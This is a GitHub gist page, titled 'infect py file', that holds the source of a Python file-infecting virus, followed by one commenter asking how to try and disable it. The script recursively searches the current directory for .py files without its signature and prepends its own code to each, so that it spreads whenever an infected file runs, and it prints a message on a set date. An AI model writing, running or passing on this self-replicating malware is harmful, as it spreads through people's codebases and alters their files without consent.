Skip to content

Instantly share code, notes, and snippets.

@fakessh
Created September 23, 2012 02:26
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fakessh/3768587 to your computer and use it in GitHub Desktop.
Save fakessh/3768587 to your computer and use it in GitHub Desktop.
infect py file
#!/usr/bin/python
import os
import datetime
SIGNATURE = "CRANKLIN PYTHON VIRUS"
def search(path):
filestoinfect = []
filelist = os.listdir(path)
for fname in filelist:
if os.path.isdir(path+"/"+fname):
filestoinfect.extend(search(path+"/"+fname))
elif fname[-3:] == ".py":
infected = False
for line in open(path+"/"+fname):
if SIGNATURE in line:
infected = True
break
if infected == False:
filestoinfect.append(path+"/"+fname)
return filestoinfect
def infect(filestoinfect):
virus = open(os.path.abspath(__file__))
virusstring = ""
for i,line in enumerate(virus):
if i>=0 and i <39:
virusstring += line
virus.close
for fname in filestoinfect:
f = open(fname)
temp = f.read()
f.close()
f = open(fname,"w")
f.write(virusstring + temp)
f.close()
def bomb():
if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:
print "HAPPY BIRTHDAY CRANKLIN!"
filestoinfect = search(os.path.abspath(""))
infect(filestoinfect)
bomb()
@Killy-pixel
Copy link

Hey, if I wanted to try this out on my own computer, should there be a way to disable it? or does it disable when you stop running the program? I'm new to python.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment